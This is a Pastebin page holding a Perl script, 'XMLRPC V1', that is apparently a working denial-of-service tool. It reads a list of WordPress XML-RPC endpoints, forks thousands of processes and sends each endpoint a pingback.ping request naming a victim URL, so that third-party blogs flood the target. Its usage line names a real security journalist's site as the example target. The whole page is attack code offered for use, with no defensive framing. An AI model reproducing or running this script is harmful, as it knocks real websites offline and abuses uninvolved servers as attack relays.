Advertisement
TP2K1

XMLRPC V1

May 30th, 2015
710
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. use List::Util qw(min max);
  3. use LWP::UserAgent;
  4. use HTTP::Request::Common;
  5. use Parallel::ForkManager;
  6. use vars qw( $PROG );
  7. ( $PROG = $0 ) =~ s/^.*[\/\\]//;
  8. #Usage
  9. if ( @ARGV == 0 ) {
  10. print "Usage: ./$PROG [TARGET] [THREADS] [LIST] [TIMEOUT]\nExample: ./$PROG http://krebsonsecurity.com/ 10000 xmlrpc.txt 10\nList Format: XMLRPC POST\nMade by Vypor\n";
  11. exit;
  12. }
  13. my $max_processes = $ARGV[1];
  14. my $pm = Parallel::ForkManager->new($max_processes);
  15. my $count = 1;
  16. my $timeout = $ARGV[3];
  17.  
  18. my $weblist = $ARGV[2];
  19. open my $handle, '<', $weblist;
  20. chomp(my @webservers = <$handle>);
  21. close $handle;
  22.  
  23. for my $webservers (@webservers) {
  24. $count++;
  25. $max = max $count;
  26. my $pid = $pm->start and next;
  27. alarm($timeout);
  28. my($xmlrpc, $webpost) = split(' ', $webservers, 2);
  29. my $target = $ARGV[0];
  30. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  31. my $message = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$webpost</string></value></param></params></methodCall>";
  32. my $response = $userAgent->request(POST $xmlrpc,
  33. Content_Type => 'text/xml',
  34. Content => $message);
  35. print("\rRequests: $max (KIND OF BROKEN LOL)");
  36. $pm->finish;
  37. }
  38. $pm->wait_all_children;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement